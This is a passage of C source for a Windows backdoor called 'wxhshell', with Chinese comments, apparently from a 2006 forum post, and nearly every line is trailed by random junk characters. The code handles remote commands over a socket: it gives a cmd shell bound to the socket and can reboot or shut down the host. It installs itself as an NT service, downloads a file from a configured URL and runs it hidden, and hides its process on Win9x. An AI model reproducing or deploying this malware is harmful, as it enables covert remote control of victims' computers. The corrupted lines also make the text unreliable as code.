    switch(cmd[0]) { )5/,B-+O"  
  $Lt'xW`8  
  // 帮助 p{oc}dWin  
  case '?': { LV`tnt's  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4s7&*dJ  
    break; s1%th"e [  
  } O("13cU  
  // 安装 8>a%L?BY  
  case 'i': { 9 1ndr@*|  
    if(Install()) c^x5 E`{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @"O|[%7e  
    else gfly?)VnF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] Wx?k7T  
    break; ytyB:# J  
    } 9 y{R_  
  // 卸载 EdC/]  
  case 'r': { tM3Q;8gB!  
    if(Uninstall()) a?8boN(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JbLHW26pl  
    else i.0.oy>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ['Y"6[1  
    break; kKz>]t"A  
    } 9oTtH7%  
  // 显示 wxhshell 所在路径 7)dCdO  
  case 'p': { o3(:R0  
    char svExeFile[MAX_PATH]; JXF0}T)C  
    strcpy(svExeFile,"\n\r"); %ZM"c  
      strcat(svExeFile,ExeFile); x|GkXD3  
        send(wsh,svExeFile,strlen(svExeFile),0); nUf0TkA  
    break; >Q[3t79^  
    } G?<uw RV  
  // 重启 ,j e  
  case 'b': { f:KZP;/[c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lkJ"f{4f  
    if(Boot(REBOOT)) QyD(@MFxb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *1g3,NMA  
    else { k]9+/ $  
    closesocket(wsh); tx,q=.(  
    ExitThread(0); @!p0<&R@x  
    } W}'l8z]   
    break; Mew,g:m:  
    } %Z+FX,AK  
  // 关机 H_FT%`iM  
  case 'd': { ob]j1gYb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UM:]Qba In  
    if(Boot(SHUTDOWN)) tX~ *.W:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <7_s'UAL!  
    else { ?ZP@H _w6}  
    closesocket(wsh); tui5?\  
    ExitThread(0); Hd57Iw  
    } qijQRxS  
    break; ,Rdw]O  
    } !24PJ\~I  
  // 获取shell xv~Sk2Z+d  
  case 's': { rr]-$]Q  
    CmdShell(wsh); p9![8VU  
    closesocket(wsh); K@tELYb  
    ExitThread(0); -S7i':  
    break; KpC!C9  
  } Of m0{c=  
  // 退出 /p$+oA+  
  case 'x': { TGHyBPJb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Af Y ]i  
    CloseIt(wsh); U3~rtc*  
    break; y 'Ah*h  
    } !3`X Gg  
  // 离开 jx14/E+^  
  case 'q': { qi$nG_<<Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %>Mcme>(W  
    closesocket(wsh); u4|) A4n  
    WSACleanup(); jM: |%o  
    exit(1); L [&|<<c  
    break; \1<8'at  
        } ~(\ .j=x  
  } ;e6L@)dp9  
  } >!bw8lVV  
'Lh nl3  
  // 提示信息 Q'rgh+6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lP *p7Y '  
} Vp&"[rC_z  
  } M}]4tAyT  
N"s"^}M\  
  return; mC} b>\  
} wizLA0W  
yM('!iG*/  
// shell模块句柄 lJdrrR)wg  
int CmdShell(SOCKET sock) .f&Z+MQ  
{ Hi nJ}MF  
STARTUPINFO si; 2=7:6Fw  
ZeroMemory(&si,sizeof(si)); )=AWgA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :+f6:3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +]p/.- Uw  
PROCESS_INFORMATION ProcessInfo; cCs@[D#O1  
char cmdline[]="cmd"; )M* Sg?L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %xA-j]%?ep  
  return 0; %k @4}M>  
} RQU-]qQ8BM  
!uP8powO  
// 自身启动模式 pZKK7   
int StartFromService(void) Oj '^Ww m  
{ $B`ETI9g-N  
typedef struct Vg}+w Nt5  
{ ;?C`Jag x  
  DWORD ExitStatus; |lN=q44I  
  DWORD PebBaseAddress; L@.Trso  
  DWORD AffinityMask; )JY#8,{w  
  DWORD BasePriority; d2fiPI7lg  
  ULONG UniqueProcessId; oiOu169]  
  ULONG InheritedFromUniqueProcessId; iUq_vQ@} }  
}   PROCESS_BASIC_INFORMATION; @H}{?-XyA  
z9w]{Zd_,d  
PROCNTQSIP NtQueryInformationProcess; NIHcX6Nw  
U/ax`_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m -0}Pe9L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mQ3gp&d3W  
5w5"rcV  
  HANDLE             hProcess; ~( :$c3\  
  PROCESS_BASIC_INFORMATION pbi; `yh][gqVE~  
2 SU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \+Y5b}  
  if(NULL == hInst ) return 0; ^UBzX;|p  
~:*V'/2k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #vc!SI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ' pIC~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {LT2^gy=  
f#-\*  
  if (!NtQueryInformationProcess) return 0; B<ZCuVWH:  
D;z!C ys  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qe/5'dw  
  if(!hProcess) return 0; u q A!#E  
zXk^u gFy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |@VhR(^O$  
'sTc=*p/  
  CloseHandle(hProcess); \F)WUIK  
_&[-< cu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W6):IW(E  
if(hProcess==NULL) return 0; Y=,9M  
Gn4XVzB`O  
HMODULE hMod; b>]UNf"-  
char procName[255]; r@PVSH/  
unsigned long cbNeeded; ?;A\>sP  
GK1P7Qy?V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }{mS"  
%vbov}R  
  CloseHandle(hProcess); _+Z5qUmQ  
fKO@Qx]  
if(strstr(procName,"services")) return 1; // 以服务启动 KN&|&51p}  
5Rp mR  
  return 0; // 注册表启动 bK{ VjXF  
} &'Xgf!x  
Kd\d>&b  
// 主模块 X9?0`6Li  
int StartWxhshell(LPSTR lpCmdLine) HY;kV6g{P  
{ {asq[;]  
  SOCKET wsl; PKd'lo  
BOOL val=TRUE; X{:3UTBR  
  int port=0; >h.HW  
  struct sockaddr_in door; rr>6;  
GC_c.|'6[  
  if(wscfg.ws_autoins) Install(); )~`UDaj_  
_Ud!tK*H  
port=atoi(lpCmdLine); nZM]EWn  
u95D0S  
if(port<=0) port=wscfg.ws_port; A\v53AT  
dF5y' R'  
  WSADATA data; |io)?`pj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [zSt+K;  
PEaZ3{-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :ciD!Ly  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7Hj7b:3K&!  
  door.sin_family = AF_INET;  bDD29  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  x$FcF8  
  door.sin_port = htons(port); rC_saHo>#R  
wO6>jW 7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \7IT[<Se  
closesocket(wsl); (iIzoEpb8W  
return 1; x:h)\%Dg<  
} c2L\m*^o  
!#W3Q  
  if(listen(wsl,2) == INVALID_SOCKET) { M.bkFuh  
closesocket(wsl); PDLps[a  
return 1; jv6>7@<G  
} 1=e(g#Ajn\  
  Wxhshell(wsl); lXEn m-_  
  WSACleanup(); ;P$ _:-C  
qn'TIE.  
return 0; ab#z&jg!  
BB_(!omq[  
} OX?E3 <8`  
C0 /G1\  
// 以NT服务方式启动 ='@ k>Ka+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rq1zvuUx  
{ Z?WVSJUVf  
DWORD   status = 0; s(e1kk}"  
  DWORD   specificError = 0xfffffff; p*Yx1er1  
7]~|dc(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <9T,J"y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b `bg`}x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +;=>&XR0m  
  serviceStatus.dwWin32ExitCode     = 0; KHGUR(\Rd6  
  serviceStatus.dwServiceSpecificExitCode = 0; )*Wz5x  
  serviceStatus.dwCheckPoint       = 0; LI^D\  
  serviceStatus.dwWaitHint       = 0; j?g#8L;W\w  
QL2 `X2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HrMbp  
  if (hServiceStatusHandle==0) return; EQX<<x"  
"-j96 KD  
status = GetLastError(); x(p/9$.#  
  if (status!=NO_ERROR) R<%{I)  
{ ^:,wk7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ooP{Q r  
    serviceStatus.dwCheckPoint       = 0; o 9(x\g  
    serviceStatus.dwWaitHint       = 0; RD;A  
    serviceStatus.dwWin32ExitCode     = status; O^ 5C  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;jO+<~YP!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |;^$IZSsz  
    return; "KSdC8MS  
  } U??OiKVZ+  
`:jF%3ks+0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; THB[(3q  
  serviceStatus.dwCheckPoint       = 0; zU!d(ge.E  
  serviceStatus.dwWaitHint       = 0; 7!)VO D8Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PYzTKjw  
} e2 g`T{6M  
[xQ.qZ[h&  
// 处理NT服务事件,比如:启动、停止 Qstd;qE~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ln":j?`  
{ @ScC32X  
switch(fdwControl) O1+yOef"k  
{ ;e9&WEG_\  
case SERVICE_CONTROL_STOP: +_QcLuV,  
  serviceStatus.dwWin32ExitCode = 0; XQmg^x[,A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P"Z1K5>2L  
  serviceStatus.dwCheckPoint   = 0; g@pK9R%wH<  
  serviceStatus.dwWaitHint     = 0; J HV  
  { f hNJB0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !89hO4 0r  
  } gvL*]U7  
  return; -KfMK N~  
case SERVICE_CONTROL_PAUSE: Og8%SnEpMI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JXR]G  
  break; x}=Q)|)]  
case SERVICE_CONTROL_CONTINUE: WM4,\$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B}K<L\S  
  break; oa[O~z{~  
case SERVICE_CONTROL_INTERROGATE: K@:Ab'(P^|  
  break; " BLJh)i  
}; !f}D*8\f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KTAQ6k  
} 2 zG;91^  
fu-,<m{  
// 标准应用程序主函数 K4I/a#S'@6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2L51 H(  
{ I1s$\NZ~]  
yS3or(K  
// 获取操作系统版本 #\O'*mz  
OsIsNt=GetOsVer(); QIJ/'72  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n</Rd=  
=}Q|#C  
  // 从命令行安装 D 5:'2i  
  if(strpbrk(lpCmdLine,"iI")) Install(); sM%l:Fv  
8-cuaa  
  // 下载执行文件 DbtkWq%  
if(wscfg.ws_downexe) { :)kHXOb.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8:0,jnS  
  WinExec(wscfg.ws_filenam,SW_HIDE); Der'45]*^  
} mX?t|:[b  
B(O6qWsL  
if(!OsIsNt) { x5rLGt  
// 如果时win9x,隐藏进程并且设置为注册表启动 &l4kwds R  
HideProc(); L:Mjd47L  
StartWxhshell(lpCmdLine); -8d z`o}  
} $1Wb`$  
else 5fz K*[B  
  if(StartFromService()) AsvH@\\  
  // 以服务方式启动 8 @RJ>  
  StartServiceCtrlDispatcher(DispatchTable); LvZ',u}  
else $@L2zl1  
  // 普通方式启动 1=`VaS  
  StartWxhshell(lpCmdLine); :h!'\9   
NW*#./WdF8  
return 0; =)*Z rD  
}
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只看该作者 1 发表于: 2006-10-10
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